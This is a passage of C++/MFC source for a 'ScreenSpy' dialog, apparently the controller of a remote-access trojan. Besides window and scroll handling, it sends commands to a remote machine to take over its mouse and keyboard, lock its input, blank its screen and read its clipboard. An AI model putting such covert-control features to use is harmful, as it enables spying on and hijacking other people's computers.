nMaxWindowWidth, nMaxWindowHeight; UINT_PTR uState = SHAppBarMessage(ABM_GETSTATE, &abd); SHAppBarMessage(ABM_GETTASKBARPOS, &abd); if (abd.uEdge == 0) // 任务栏在左 { nMinX = uState == ABS_AUTOHIDE ? 0 : abd.rc.right; nMinY = 0; nMaxWindowWidth = GetSystemMetrics(SM_CXSCREEN) - (uState == ABS_AUTOHIDE ? 0 : abd.rc.right); nMaxWindowHeight = GetSystemMetrics(SM_CYSCREEN); } if (abd.uEdge == 1) // 任务栏在上 { nMinX = 0; nMinY = uState == ABS_AUTOHIDE ? 0 : abd.rc.bottom; nMaxWindowWidth = GetSystemMetrics(SM_CXSCREEN); nMaxWindowHeight = GetSystemMetrics(SM_CYSCREEN) - (uState == ABS_AUTOHIDE ? 0 : abd.rc.bottom); } if (abd.uEdge == 2) // 任务栏在右 { nMinX = 0; nMinY = 0; nMaxWindowWidth = GetSystemMetrics(SM_CXSCREEN) - (uState == ABS_AUTOHIDE ? 0 : abd.rc.right - abd.rc.left); nMaxWindowHeight = GetSystemMetrics(SM_CYSCREEN); } if (abd.uEdge == 3) // 任务栏在下 { nMinX = 0; nMinY = 0; nMaxWindowWidth = GetSystemMetrics(SM_CXSCREEN); nMaxWindowHeight = GetSystemMetrics(SM_CYSCREEN) - (uState == ABS_AUTOHIDE ? 0 : abd.rc.bottom - abd.rc.top); } GetWindowRect(&m_rcRestore); GetClientRect(&rectClient); ClientToScreen(&rectClient); int nBorderSize = rectClient.left - m_rcRestore.left; // 单边框的大小(宽度或高度) int nTitleHeight = rectClient.top - m_rcRestore.top - nBorderSize; // 标题栏的高度 int nMaxClientWidth = nMaxWindowWidth - nBorderSize * 2; int nMaxClientHeight = nMaxWindowHeight - nTitleHeight - nBorderSize * 2; if (m_lpbmi_full->bmiHeader.biWidth < nMaxClientWidth && m_lpbmi_full->bmiHeader.biHeight < nMaxClientHeight) { int nMovWindowWidth = m_lpbmi_full->bmiHeader.biWidth + nBorderSize * 2; int nMovWindowHeight = m_lpbmi_full->bmiHeader.biHeight + nTitleHeight + nBorderSize * 2; int x = (nMaxWindowWidth - nMovWindowWidth) / 2 + nMinX; int y = (nMaxWindowHeight - nMovWindowHeight) / 2 + nMinY; MoveWindow(x, y, nMovWindowWidth, nMovWindowHeight); } else if (m_lpbmi_full->bmiHeader.biWidth < nMaxClientWidth) { SCROLLBARINFO sbiv; sbiv.cbSize = sizeof(SCROLLBARINFO); ShowScrollBar(SB_VERT, TRUE); GetScrollBarInfo(m_hWnd, OBJID_VSCROLL, &sbiv); int nMovWindowWidth = m_lpbmi_full->bmiHeader.biWidth + nBorderSize * 2; if (nMovWindowWidth + sbiv.dxyLineButton <= nMaxWindowWidth) nMovWindowWidth += sbiv.dxyLineButton; int nMovWindowHeight = nMaxWindowHeight; int x = (nMaxWindowWidth - nMovWindowWidth) / 2 + nMinX; MoveWindow(x, nMinY, nMovWindowWidth, nMovWindowHeight); } else if (m_lpbmi_full->bmiHeader.biHeight < nMaxClientHeight) { SCROLLBARINFO sbih; sbih.cbSize = sizeof(SCROLLBARINFO); ShowScrollBar(SB_VERT, TRUE); GetScrollBarInfo(m_hWnd, OBJID_HSCROLL, &sbih); int nMovWindowWidth = nMaxWindowWidth; int nMovWindowHeight = m_lpbmi_full->bmiHeader.biHeight + nTitleHeight + nBorderSize * 2; if (nMovWindowHeight + sbih.dxyLineButton <= nMaxWindowHeight) nMovWindowHeight += sbih.dxyLineButton; int y = (nMaxWindowHeight - nMovWindowHeight) / 2 + nMinY; MoveWindow(nMinX, y, nMovWindowWidth, nMovWindowHeight); } else { int nMovWindowWidth = nMaxWindowWidth; int nMovWindowHeight = nMaxWindowHeight; MoveWindow(nMinX, nMinY, nMovWindowWidth, nMovWindowHeight); } // 必须OnSize一次, 否则滚动条显示有点问题 GetClientRect(&rectClient); OnSize(0, rectClient.right, rectClient.bottom); return; } } void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) { CMenu* pSysMenu = GetSystemMenu(FALSE); switch (nID) { case SC_MAXIMIZE: OnNcLButtonDblClk(HTCAPTION, NULL); return; case SC_MONITORPOWER: // 拦截显示器节电自动关闭的消息 return; case SC_SCREENSAVE: // 拦截屏幕保护启动的消息 return; case IDM_CONTROL: { m_bIsCtrl = !m_bIsCtrl; pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); if (m_bIsCtrl) { if (m_bIsTraceCursor) SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DOT)); else SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_hRemoteCursor); } else SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO)); } break; case IDM_TOPMOST: { bool bIsTopMost = pSysMenu->GetMenuState(IDM_TOPMOST, MF_BYCOMMAND) & MF_CHECKED; pSysMenu->CheckMenuItem(IDM_TOPMOST, bIsTopMost ? MF_UNCHECKED : MF_CHECKED); if (bIsTopMost) SetWindowPos(&wndNoTopMost, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE); else SetWindowPos(&wndTopMost, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE); } break; case IDM_CTRL_ALT_DEL: { BYTE bToken = COMMAND_SCREEN_CTRL_ALT_DEL; m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken)); } break; case IDM_TRACE_CURSOR: // 跟踪服务端鼠标 { m_bIsTraceCursor = !m_bIsTraceCursor; pSysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED); if (m_bIsCtrl) { if (!m_bIsTraceCursor) SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_hRemoteCursor); else SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DOT)); } // 重绘消除或显示鼠标 OnPaint(); } break; case IDM_BLOCK_INPUT: // 锁定服务端鼠标和键盘 { bool bIsChecked = pSysMenu->GetMenuState(IDM_BLOCK_INPUT, MF_BYCOMMAND) & MF_CHECKED; pSysMenu->CheckMenuItem(IDM_BLOCK_INPUT, bIsChecked ? MF_UNCHECKED : MF_CHECKED); BYTE bToken[2]; bToken[0] = COMMAND_SCREEN_BLOCK_INPUT; bToken[1] = !bIsChecked; m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); } break; case IDM_BLANK_SCREEN: // 服务端黑屏 { bool bIsChecked = pSysMenu->GetMenuState(IDM_BLANK_SCREEN, MF_BYCOMMAND) & MF_CHECKED; pSysMenu->CheckMenuItem(IDM_BLANK_SCREEN, bIsChecked ? MF_UNCHECKED : MF_CHECKED); BYTE bToken[2]; bToken[0] = COMMAND_SCREEN_BLANK; bToken[1] = !bIsChecked; m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); } break; case IDM_CAPTURE_LAYER: // 捕捉层 { bool bIsChecked = pSysMenu->GetMenuState(IDM_CAPTURE_LAYER, MF_BYCOMMAND) & MF_CHECKED; pSysMenu->CheckMenuItem(IDM_CAPTURE_LAYER, bIsChecked ? MF_UNCHECKED : MF_CHECKED); BYTE bToken[2]; bToken[0] = COMMAND_SCREEN_CAPTURE_LAYER; bToken[1] = !bIsChecked; m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); } break; case IDM_SAVEDIB: SaveSnapshot(); break; case IDM_GET_CLIPBOARD: // 获取剪贴板 { BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD; m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken)); } break; case IDM_SET_CLIPBOARD: // 设置剪贴板 { SendLocalClipboard(); } break; case IDM_AERO_DISABLE: // 禁用桌面合成(Aero) { BYTE bToken = COMMAND_AERO_DISABLE; m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken)); } break; case IDM_AERO_ENABLE: // 启用桌面合成(Aero) { BYTE bToken = COMMAND_AERO_ENABLE; m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken)); } break; case IDM_ALGORITHM_HOME: // 家用办公算法 { SendResetScreen(32); pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_HOME, IDM_ALGORITHM_XVID, IDM_ALGORITHM_HOME, MF_BYCOMMAND); pSysMenu->CheckMenuRadioItem(IDM_DEEP_16, IDM_DEEP_32, IDM_DEEP_32, MF_BYCOMMAND); pSysMenu->EnableMenuItem(IDM_DEEP_16, MF_GRAYED); SendResetAlgorithm(ALGORITHM_HOME); } break; case IDM_ALGORITHM_XVID: // 影视娱乐算法 { SendResetAlgorithm(ALGORITHM_XVID); pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_HOME, IDM_ALGORITHM_XVID, IDM_ALGORITHM_XVID, MF_BYCOMMAND); pSysMenu->EnableMenuItem(IDM_DEEP_16, MF_ENABLED); } break; // case IDM_DEEP_1: // { // SendResetScreen(1); // pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_1, MF_BYCOMMAND); // } // break; // case IDM_DEEP_4_GRAY: // { // SendResetScreen(3); // pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_4_GRAY, MF_BYCOMMAND); // } // break; // case IDM_DEEP_4_COLOR: // { // SendResetScreen(4); // pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_4_COLOR, MF_BYCOMMAND); // } // break; // case IDM_DEEP_8_GRAY: // { // SendResetScreen(7); // pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_8_GRAY, MF_BYCOMMAND); // } // break; // case IDM_DEEP_8_COLOR: // { // SendResetScreen(8); // pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND); // } // break; case IDM_DEEP_16: { SendResetScreen(16); pSysMenu->CheckMenuRadioItem(IDM_DEEP_16, IDM_DEEP_32, IDM_DEEP_16, MF_BYCOMMAND); } break; case IDM_DEEP_32: { SendResetScreen(32); pSysMenu->CheckMenuRadioItem(IDM_DEEP_16, IDM_DEEP_32, IDM_DEEP_32, MF_BYCOMMAND); } break; default: CDialog::OnSysCommand(nID, lParam); } } void CScreenSpyDlg::OnGetMinMaxInfo(MINMAXINFO* lpMMI) { RECT rectWindow, rectClient; GetWindowRect(&rectWindow); GetClientRect(&rectClient); ClientToScreen(&rectClient); int nBorderSize = rectClient.left - rectWindow.left; // 单边框的大小(宽度或高度) int nTitleHeight = rectClient.top - rectWindow.top - nBorderSize; // 标题栏的高度 // int nMinWindowWidth = 400 + nBorderSize * 2; // int nMinWindowHeight = 300 + nTitleHeight + nBorderSize * 2; int nMaxWindowWidth = m_lpbmi_full->bmiHeader.biWidth + nBorderSize * 2; int nMaxWindowHeight = m_lpbmi_full->bmiHeader.biHeight + nTitleHeight + nBorderSize * 2; SCROLLBARINFO sbiv, sbih; sbiv.cbSize = sizeof(SCROLLBARINFO); sbih.cbSize = sizeof(SCROLLBARINFO); GetScrollBarInfo(m_hWnd, OBJID_VSCROLL, &sbiv); GetScrollBarInfo(m_hWnd, OBJID_HSCROLL, &sbih); // nMinWindowWidth += sbiv.dxyLineButton; // nMinWindowHeight += sbih.dxyLineButton; nMaxWindowWidth += sbiv.rgstate[0] & STATE_SYSTEM_INVISIBLE ? 0 : sbiv.dxyLineButton; nMaxWindowHeight += sbih.rgstate[0] & STATE_SYSTEM_INVISIBLE ? 0 : sbih.dxyLineButton; // lpMMI->ptMinTrackSize.x = nMinWindowWidth; // lpMMI->ptMinTrackSize.y = nMinWindowHeight; lpMMI->ptMaxTrackSize.x = nMaxWindowWidth; lpMMI->ptMaxTrackSize.y = nMaxWindowHeight; // APPBARDATA abd; // memset(&abd, 0, sizeof(abd)); // abd.cbSize = sizeof(abd); // UINT_PTR uState = SHAppBarMessage(ABM_GETSTATE, &abd); // SHAppBarMessage(ABM_GETTASKBARPOS, &abd); // if (abd.uEdge == 0) // 任务栏在左 // { // lpMMI->ptMaxPosition.x = uState == ABS_AUTOHIDE ? 0 : abd.rc.right; // lpMMI->ptMaxPosition.y = 0; // lpMMI->ptMaxSize.x = GetSystemMetrics(SM_CXSCREEN) - (uState == ABS_AUTOHIDE ? 0 : abd.rc.right); // lpMMI->ptMaxSize.y = GetSystemMetrics(SM_CYSCREEN); // } // if (abd.uEdge == 1) // 任务栏在上 // { // lpMMI->ptMaxPosition.x = 0; // lpMMI->ptMaxPosition.y = uState == ABS_AUTOHIDE ? 0 : abd.rc.bottom; // lpMMI->ptMaxSize.x = GetSystemMetrics(SM_CXSCREEN); // lpMMI->ptMaxSize.y = GetSystemMetrics(SM_CYSCREEN) - (uState == ABS_AUTOHIDE ? 0 : abd.rc.bottom); // } // if (abd.uEdge == 2) // 任务栏在右 // { // lpMMI->ptMaxPosition.x = 0; // lpMMI->ptMaxPosition.y = 0; // lpMMI->ptMaxSize.x = GetSystemMetrics(SM_CXSCREEN) - (uState == ABS_AUTOHIDE ? 0 : abd.rc.right - abd.rc.left); // lpMMI->ptMaxSize.y = GetSystemMetrics(SM_CYSCREEN); // } // if (abd.uEdge == 3) // 任务栏在下 // { // lpMMI->ptMaxPosition.x = 0; // lpMMI->ptMaxPosition.y = 0; // lpMMI->ptMaxSize.x = GetSystemMetrics(SM_CXSCREEN); // lpMMI->ptMaxSize.y = GetSystemMetrics(SM_CYSCREEN) - (uState == ABS_AUTOHIDE ? 0 : abd.rc.bottom - abd.rc.top); // } } void CScreenSpyDlg::DrawTipString(CString str) { RECT rect; GetClientRect(&rect); COLORREF bgcol = RGB(0x00, 0x00, 0x00); COLORREF oldbgcol = SetBkColor(m_hCurrWndDC, bgcol); COLORREF oldtxtcol = SetTextColor(m_hCurrWndDC, RGB(0xff,0x00,0x00)); ExtTextOut(m_hCurrWndDC, 0, 0, ETO_OPAQUE, &rect, NULL, 0, NULL); DrawText (m_hCurrWndDC, str, -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER); SetBkColor(m_hCurrWndDC, oldbgcol); SetTextColor(m_hCurrWndDC, oldtxtcol); /* InvalidateRect(NULL, FALSE);*/ } BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg) { // TODO: Add your specialized code here and/or call the base class switch (pMsg->message) { case WM_MOUSEMOVE: if (GetKeyState(VK_SCROLL) & 0x0001) // Scroll灯点亮状态 { CRect ClientRect; GetClientRect(ClientRect); int nHScrollPos = (float)m_lpbmi_full->bmiHeader.biWidth / ClientRect.Width() * LOWORD(pMsg->lParam); int nVScrollPos = (float)m_lpbmi_full->bmiHeader.biHeight / ClientRect.Height() * HIWORD(pMsg->lParam); SCROLLBARINFO sbi; int nMinPos, nMaxPos; sbi.cbSize = sizeof(SCROLLBARINFO); GetScrollBarInfo(m_hWnd, OBJID_HSCROLL, &sbi); if (!(sbi.rgstate[0] & STATE_SYSTEM_INVISIBLE)) { GetScrollRange(SB_HORZ, &nMinPos, &nMaxPos); if (nHScrollPos > nMaxPos) nHScrollPos = nMaxPos; PostMessage(WM_HSCROLL, MAKEWPARAM(SB_THUMBTRACK, nHScrollPos), NULL); } GetScrollBarInfo(m_hWnd, OBJID_VSCROLL, &sbi); if (!(sbi.rgstate[0] & STATE_SYSTEM_INVISIBLE)) { GetScrollRange(SB_VERT, &nMinPos, &nMaxPos); if (nVScrollPos > nMaxPos) nVScrollPos = nMaxPos; PostMessage(WM_VSCROLL, MAKEWPARAM(SB_THUMBTRACK, nVScrollPos), NULL); } ClientToScreen(ClientRect); ClipCursor(ClientRect); } else { ClipCursor(NULL); } case WM_LBUTTONDOWN: case WM_LBUTTONUP: case WM_RBUTTONDOWN: case WM_RBUTTONUP: case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDOWN: case WM_MBUTTONUP: case WM_MBUTTONDBLCLK: case WM_MOUSEWHEEL: { MSG msg; memcpy(&msg, pMsg, sizeof(MSG)); int xPos = (int)(short)LOWORD(pMsg->lParam) + GetScrollPos(SB_HORZ); int yPos = (int)(short)HIWORD(pMsg->lParam) + GetScrollPos(SB_VERT); msg.lParam = MAKELPARAM(xPos, yPos); msg.pt.x = xPos; msg.pt.y = yPos; SendCommand(&msg); } break; case WM_KEYDOWN: if (pMsg->wParam == VK_RETURN && GetKeyState(VK_CONTROL)&0x8000 && GetKeyState(VK_MENU)&0x8000) { FullScreen(); if (GetKeyState(VK_SCROLL) & 0x0001) { CRect ClientRect; GetClientRect(ClientRect); ClientToScreen(ClientRect); ClipCursor(ClientRect); } return TRUE; } case WM_KEYUP: if (pMsg->wParam == VK_RETURN && GetKeyState(VK_CONTROL)&0x8000 && GetKeyState(VK_MENU)&0x8000) { return TRUE; } case WM_SYSKEYUP: case WM_SYSKEYDOWN: if (pMsg->wParam != VK_SCROLL) { MSG msg; memcpy(&msg, pMsg, sizeof(MSG)); ScreenToClient(&msg.pt); msg.pt.x += GetScrollPos(SB_HORZ); msg.pt.y += GetScrollPos(SB_VERT); SendCommand(&msg); if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_F4) return TRUE; } if (pMsg->wParam == VK_SCROLL) { if (GetKeyState(VK_SCROLL) & 0x0001) { CRect ClientRect; GetClientRect(ClientRect); ClientToScreen(ClientRect); ClipCursor(ClientRect); } else ClipCursor(NULL); } break; default: break; } return CDialog::PreTranslateMessage(pMsg); } void CScreenSpyDlg::PostNcDestroy() { // TODO: Add your specialized code here and/or call the base class delete this; CDialog::PostNcDestroy(); } void CScreenSpyDlg::SendCommand(MSG* pMsg) { if (!m_bIsCtrl) return; LPBYTE lpData = new BYTE[sizeof(MSG) + 1]; lpData[0] = COMMAND_SCREEN_CONTROL; memcpy(lpData + 1, pMsg, sizeof(MSG)); m_iocpServer->Send(m_pContext, lpData, sizeof(MSG) + 1); delete[] lpData; } void CScreenSpyDlg::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar) { // TODO: Add your message handler code here and/or call default SCROLLINFO si; si.cbSize = sizeof(SCROLLINFO); si.fMask = SIF_ALL; GetScrollInfo(SB_HORZ, &si); int nPrevPos = si.nPos; switch(nSBCode) { case SB_LEFT: si.nPos = si.nMin; break; case SB_RIGHT: si.nPos = si.nMax; break; case SB_LINELEFT: if (si.nPos > si.nMin) si.nPos--; break; case SB_LINERIGHT: if (si.nPos < si.nMax) si.nPos++; break; case SB_PAGELEFT: if (si.nPos > si.nMin) si.nPos = max(si.nMin, si.nPos - (int)si.nPage); break; case SB_PAGERIGHT: if (si.nPos < si.nMax) si.nPos = min(si.nMax, si.nPos + (int)si.nPage); break; case SB_THUMBPOSITION: case SB_THUMBTRACK: si.nPos = nPos; break; default: break; } si.fMask = SIF_POS; SetScrollInfo(SB_HORZ, &si, TRUE); // ScrollWindow(nPrevPos - si.nPos, 0); OnPaint(); CDialog::OnHScroll(nSBCode, nPos, pScrollBar); } void CScreenSpyDlg::OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar) { // TODO: Add your message handler code here and/or call default SCROLLINFO si; si.cbSize = sizeof(SCROLLINFO); si.fMask = SIF_ALL; GetScrollInfo(SB_VERT, &si); int nPrevPos = si.nPos; switch(nSBCode) { case SB_TOP: si.nPos = si.nMin; break; case SB_BOTTOM: si.nPos = si.nMax; break; case SB_LINEUP: if (si.nPos > si.nMin) si.nPos--; break; case SB_LINEDOWN: if (si.nPos < si.nMax) si.nPos++; break; case SB_PAGEUP: if (si.nPos > si.nMin) si.nPos = max(si.nMin, si.nPos - (int)si.nPage); break; case SB_PAGEDOWN: if (si.nPos < si.nMax) si.nPos = min(si.nMax, si.nPos + (int)si.nPage); break; case SB_THUMBPOSITION: case SB_THUMBTRACK: si.nPos = nPos; break; default: break; } si.fMask = SIF_POS; SetScrollInfo(SB_VERT, &si, TRUE); // ScrollWindow(0, nPrevPos - si.nPos); OnPaint(); CDialog::OnVScroll(nSBCode, nPos, pScrollBar); } void CScreenSpyDlg::UpdateLocalClipboard(char *buf, int len) { if (!::OpenClipboard(NULL)) return; ::EmptyClipboard(); HGLOBAL hglbCopy = GlobalAlloc(GPTR, len); if (hglbCopy != NULL) { // Lock the handle and copy the text to the buffer. LPTSTR lptstrCopy = (LPTSTR) GlobalLock(hglbCopy); memcpy(lptstrCopy, buf, len); GlobalUnlock(hglbCopy); // Place the handle on the clipboard. SetClipboardData(CF_TEXT, hglbCopy); GlobalFree(hglbCopy); } CloseClipboard(); } void CScreenSpyDlg::SendLocalClipboard() { if (!::OpenClipboard(NULL)) return; HGLOBAL hglb = GetClipboardData(CF_TEXT); if (hglb == NULL) { ::CloseClipboard(); return; } int nPacketLen = GlobalSize(hglb) + 1; LPSTR lpstr = (LPSTR) GlobalLock(hglb); LPBYTE lpData = new BYTE[nPacketLen]; lpData[0] = COMMAND_SCREEN_SET_CLIPBOARD; memcpy(lpData + 1, lpstr, nPacketLen - 1); ::GlobalUnlock(hglb); ::CloseClipboard(); m_iocpServer->Send(m_pContext, lpData, nPacketLen); delete[] lpData; } void CScreenSpyDlg::SendNext() { BYTE bBuff = COMMAND_NEXT; m_iocpServer->Send(m_pContext, &bBuff, 1); } LRESULT CScreenSpyDlg::OnMoving(WPARAM wParam, LPARAM lParam) { SystemParametersInfo(SPI_GETWINARRANGING, 0, (LPVOID)&m_bWinArrange, 0); SystemParametersInfo(SPI_GETSNAPSIZING, 0, (LPVOID)&m_bSnapSizing, 0); SystemParametersInfo(SPI_SETWINARRANGING, 0, (LPVOID)TRUE, 0); SystemParametersInfo(SPI_SETSNAPSIZING, 0, (LPVOID)FALSE, 0); return FALSE; } void CScreenSpyDlg::OnMove(int x, int y) { CDialog::OnMove(x, y); // TODO: Add your message handler code here SystemParametersInfo(SPI_SETSNAPSIZING, 0, (LPVOID)m_bSnapSizing, 0); SystemParametersInfo(SPI_SETWINARRANGING, 0, (LPVOID)m_bWinArrange, 0); } LRESULT CScreenSpyDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam) { // TODO: Add your specialized code here and/or call the base class if (message == WM_POWERBROADCAST && wParam == PBT_APMQUERYSUSPEND) { return BROADCAST_QUERY_DENY; // 拦截系统待机, 休眠的请求 } if (message == WM_ACTIVATE && LOWORD(wParam) != WA_INACTIVE && !HIWORD(wParam) && m_bIsFullScreen) { SetWindowPos(&wndTopMost, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE); return TRUE; } if (message == WM_ACTIVATE && LOWORD(wParam) == WA_INACTIVE && m_bIsFullScreen) { SetWindowPos(&wndNoTopMost, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE); return TRUE; } return CDialog::WindowProc(message, wParam, lParam); }